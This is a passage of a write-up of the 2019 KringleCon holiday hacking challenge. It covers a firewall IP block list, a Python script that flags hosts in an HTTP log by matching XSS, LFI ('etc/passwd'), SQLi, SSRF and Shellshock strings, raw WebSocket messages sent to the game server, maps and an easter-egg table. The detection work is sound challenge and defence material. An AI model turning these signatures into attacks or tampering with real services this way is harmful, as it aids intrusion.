42.103.246.250,56.5.47.137,19.235.69.221,69.221.145.150,42.191.112.181,48.66.193.176,49.161.8.58,84.147.231.129,44.74.106.131,106.93.213.219,2.230.60.70,10.155.246.29,225.191.220.138,75.73.228.192,249.34.9.16,27.88.56.114,238.143.78.114,121.7.186.163,106.132.195.153,129.121.121.48,190.245.228.38,34.129.179.28,135.32.99.116,2.240.116.254,45.239.232.245,102.143.16.184,230.246.50.221,131.186.145.73,253.182.102.55,229.133.163.235,23.49.177.78,223.149.180.133,187.178.169.123,116.116.98.205,9.206.212.33,28.169.41.122,68.115.251.76,118.196.230.170,173.37.160.150,81.14.204.154,135.203.243.43,186.28.46.179,13.39.153.254,111.81.145.191,0.216.249.31,31.254.228.4,32.168.17.54,6.144.27.227,220.132.33.81,9.95.128.208,83.0.8.119,23.79.123.99,150.45.133.97,229.229.189.246,155.129.97.35,72.183.132.206,227.110.45.126,61.110.82.125,65.153.114.120,123.127.233.97,95.166.116.45,80.244.147.207,168.66.108.62,200.75.228.240,118.26.57.38,42.127.244.30,217.132.156.225,252.122.243.212,22.34.153.164,44.164.136.41,203.68.29.5,97.220.93.190,158.171.84.209,34.155.174.167,104.179.109.113,66.116.147.181,140.60.154.239,50.154.111.0,92.213.148.0,31.116.232.143,126.102.12.53,187.152.203.243,37.216.249.50,250.22.86.40,231.179.108.238,103.235.93.133,253.65.40.39,142.128.135.10,226.102.56.13,185.19.7.133,87.195.80.126,148.146.134.52,53.160.218.44,249.237.77.152,10.122.158.57,226.240.188.154,29.0.183.220,42.16.149.112,249.90.116.138,42.103.246.130
Pasting this into the firewall input on srf.elfu.org and clicking DENY will fix our bad weather readings and allow Santa to deliver presents.
#!/usr/bin/env python3 import json def add_ua(my_dict, ua): """ Sets/increments the count of how many times a user_agent has been seen Args: my_dict(dict): the dictionary you are using to track this user_agent ua(str): the user_agent seen Returns: my_dict(dict): key and value pairs of user_agent and count """ if ua in my_dict: my_dict[ua] += 1 else: my_dict[ua] = 1 return my_dict def search_json(my_json): """ Look for bad things in the json fields Args: my_json(json): the json containing all the data Returns: All of these are a key and then a value of count thanks to add_ua() ua_dict(dict): all of the user_agents seen bad_ua_dict(dict): known bad user_agents bad_hosts(dict): known bad hosts """ ua_dict = {} bad_ua_dict = {} bad_hosts = {} # Match Fields bad_traffic = { "<script": ["uri", "user_agent", "host"], # XSS "etc/passwd": ["uri", "user_agent", "host"], # LFI "SELECT": ["uri", "user_agent", "host"], # SQLi "ssrf": ["uri", "user_agent", "host"], # SSRF "bin/": ["user_agent"], # Shellshock } for obj in my_json: ua_dict = add_ua(ua_dict, obj["user_agent"]) for bstr, fields in bad_traffic.items(): for field in fields: if bstr in obj[field]: # we'll be pivoting on user_agent bad_hosts[obj["id.orig_h"]] = obj["user_agent"] bad_ua_dict = add_ua(bad_ua_dict, obj["user_agent"]) return ua_dict, bad_ua_dict, bad_hosts def find_doubles(bad_ua_dict, ua_dict): """ We noticed a pattern when manually pivoting on the known bad traffic. A 'bad' UA (fairly obvious mispellings, etc), would only be used one extra time Args: bad_ua_dict(dict): known bad user agents and their count Returns: final_bad_ua(list): our final list of bad IPs based on user_agent """ final_bad_ua = [] for bua in bad_ua_dict: if ua_dict[bua] == 2: final_bad_ua.append(bua) return final_bad_ua def ua_pivot(my_json, bad_hosts, final_bad_ua): """ Now that we have our known real bad UAs, we cycle back through the json Args: my_json(json): the json containing all the data bad_hosts(dict): known bad hosts final_bad_ua(list): our final list of bad IPs based on user_agent Returns: bad_hosts(dict): known bad hosts """ for obj in my_json: if obj["user_agent"] in final_bad_ua: bad_hosts[obj["id.orig_h"]] = obj["user_agent"] return bad_hosts def main(): with open("http.log", "r") as logf: my_json = json.load(logf) ua_dict, bad_ua_dict, bad_hosts = search_json(my_json) final_bad_ua = find_doubles(bad_ua_dict, ua_dict) bad_hosts = ua_pivot(my_json, bad_hosts, final_bad_ua) # Plus the original attacker (whose UA violates the =2 rule) bad_hosts[ "42.103.246.130" ] = "don't care, but we did find it based on it's history via UA manually" print(", ".join(bad_hosts)) if __name__ == "__main__": main()
Figure 85: RID=0807198508261964
KringleCon
The Campus
Interacting with the Game
We tried out websocat for interacting with the game. For example, to chat with a character:
websocat wss://2019.kringlecon.com/ws | grep PSSST {"type":"WS_LOGIN","usernameOrEmail":"demo","password":"myvoice"} {"type":"HELLO_ENTITY","entityType":"npc","id":"krampus-netwars"} {"type":"PSSST","whisper":{"2407823":{"cid":2407823,"uid":"krampus-netwars","username":"Krampus", "type":2,"avatar":"npc","ts":1578968239943, "text":"..."}}, "recipient":{"uid":"192","username":"demo","type":1}}
You can also move around, with something like {"type":"MOVE_USER","loc":{"16647":[4,0]},"areaId":"sleighshop"}
.
Finding Jason
Jason was hanging out among quite literally a huge pile of teeth in the Bell Tower:
Figure 86: It's Jason!
By playing around with the WebSocket messages
{"type":"HELLO_ENTITY","entityType":"npc","id":"plant"}
, we were
able to find Jason a second time!
Hi, my name is Jason!
Welcome to KringleCon!
…
…
…
…
…
…
…
…
…
We miss you psmitty
Maps
Figure 87: The Whiteboard Draft
As usual, we kept a draft of the map on the whiteboard in our "War Room." This year however, we decided to take a 3D direction (using Sketchup) for detailing the map of campus.
Figure 88: The Train Station
Figure 89: The Quad
Figure 90: Student Union
Figure 91: Hermey Hall, NetWars, Speaker UNpreparedness Room
Figure 92: Laboratory
Figure 93: Dormitory, Minty's Room, Closet
Figure 94: Steam Tunnels
Figure 95: Sleigh Workshop
Figure 96: The Bell Tower
Easter Eggs
Figure 97: Searching for Easter Eggs like Jebediah Springfield
We're always amazed each year at how many jokes and easter eggs get packed into the challenge. Here are what we found this year:
Easter Egg | Reference | Challenge | Location |
---|---|---|---|
Holiday Hack Trail | Oregon Trail | Holiday Hack Trail | N/A |
Jebediah Springfield | Simpsons | Holiday Hack Trail | Default PlayerID |
I'm sorry, but our princess is in another North Pole. | Super Mario Bros. | Holiday Hack Trail | HTML comment in victory screen |
trail-mix-cookie | Trail mix | Holiday Hack Trail | http cookie |
darealmvp | Kevin Durant speech | Path | The real ls |
Kent Tinseltooth (his braces talk in the movie) | Real Genius | Smart Braces | Student Union |
Voice in Kent's head is like when God talked to him | Real Genius | Smart Braces | Student Union |
echo complete > /tmp/A95C530A7AF5F492A74499E70578D150.txt md5 of asdfasdfasdf | General Nerdery | Smart Braces | N/A |
Laser | Real Genius | Xmas Cheer Laser | Hermey Hall |
http://localhost:1225 -> 12/25 | Christmas | Xmas Cheer Laser | Laser Server |
Santa holding an umbrella | Mary Poppins | Objective 0 | The Quad |
Two Turtle Doves Michael and Jane | Mary Poppins | Objective 2 | Student Union |
Rue the day | Real Genius | Objective 6 | Splunk chat with Kent |
Alice Bluebird | Alice Through the Looking Glass | Objective 6 | Chat |
Krampus Hollyfeld is Lazlo Hollyfeld | Real Genius | Objective 7 and others | N/A |
Frido Sleigh Contest/Frito Lay Contest entries | Real Genius | Objective 8 | Steam Tunnels |
Machine Learning Via TinselFlow | Tensorflow | Objective 10 | Decrypted PDF |
Parents of spoiled eggs | Willy Wonka (Veruca?) | Objective 11 | Lock 8 |
Ludicrous Speed has a plaid background | SpaceBalls | Objective 11 | Sleigh Shop Door |
rank: Ice Ice Baby | Vanilla Ice - Ice Ice Baby | Objective 12 | Station Weather |
0807198508261964 is the release dates of Real Genius and Mary Poppins | Real Genius/Mary Poppins | Objective 12 | Sleigh Workshop |
<!– <div class=โsecondaryโ>CODE: 8675309</div> –> | Tommy Tutone - 8675309 | Objective 12 | alert.html |
You see, while he sleeps (He Sees You While You're Sleeping) | Santa Claus | N/A | Main logo: Ille te videt dum dormit |
Hermey the Elf | Rudolph | N/A | Hermey Hall |
Dr. Banas' student Kent | Real Genius | N/A | Laboratory |
College Campus | Real Genius | N/A | All |
Wall drawings | Real Genius | N/A | Dorm |
Fish water cooler | Real Genius | N/A | Minty's Dorm Room |
Einstein Picture | Real Genius | N/A | Minty's Dorm Room |
This is it | Real Genius | N/A | Minty's Closet |
Steam Tunnels | Real Genius | N/A | Steam Tunnels |
Dr Banas references Kent picking up his drycleaning | Real Genius | N/A | Laboratory |
I got 31.8% of the prizes, though I'll have to figure that out. | Real Genius | N/A | Krampus in the Bell Tower |
Dr Banas - Robert Banas played a chimney sweep | Mary Poppins | N/A | Laboratory |
Ninjula - Supa Cali Fragile Lipstick | Mary Poppins | N/A | Music in Sleigh Workshop |
Ninjula - โShells popping to be merry. Mary, a villain weโve encountered this scary. Insane. Remain vigilant and always be waryโฆโ | Mary Poppins | N/A | Music in Sleigh Workshop |
Santa - "The more I laugh, the more I fill with glee. And the more the glee, The more Iโm a merrier me!" | Mary Poppins | N/A | Santa Claus in the Bell Tower |
Golden ticket | Willy Wonka | N/A | holidayhackchallenge.com |
Golden ticket, redux | Willy Wonka | N/A | Laptop in NetWars room |
rutroh | Jetsons & Scooby Doo | Mini-games and Terminals | conduit.js error message |
And I would have gotten away with it too, if it weren't for you meddling kids | Scooby Doo | N/A | Tooth Fairy in the Bell Tower |
Ninjula - Everybody wants to look a lot like christmas | Tears for Fears - Everybody Wants to Rule the World | N/A | Music in the Bell Tower |
Minty's poster | HHC16 | N/A | Behind her bed |
Train | HHC16 | N/A | Train station |
Tardis | HHC16 | N/A | Dorm wall |
Tin Man | HHC17 | N/A | Dorm wall |
Conclusion
Thank you to ElfU for hosting KringleCon 2: Turtle Doves! We learned a lot, and along the way, discovered the secret in Minty's closet, that Krampus sent the doves after some scraps of paper, and detected and thwarted the Tooth Fairy's dastardly attempts to destroy the holiday season.
On a personal note, it was a treat to see ourselves as part of the Holiday Hack Trail! We even figured out how to give each other dysentery, even though it wasn't easy…
Thank you to all the great speakers and, of course, to Santa for putting on this conference for a second year. Hopefully next year will go much more smoothly…
Figure 98: Cliffhanger Note
You have nyaned for 1 seconds!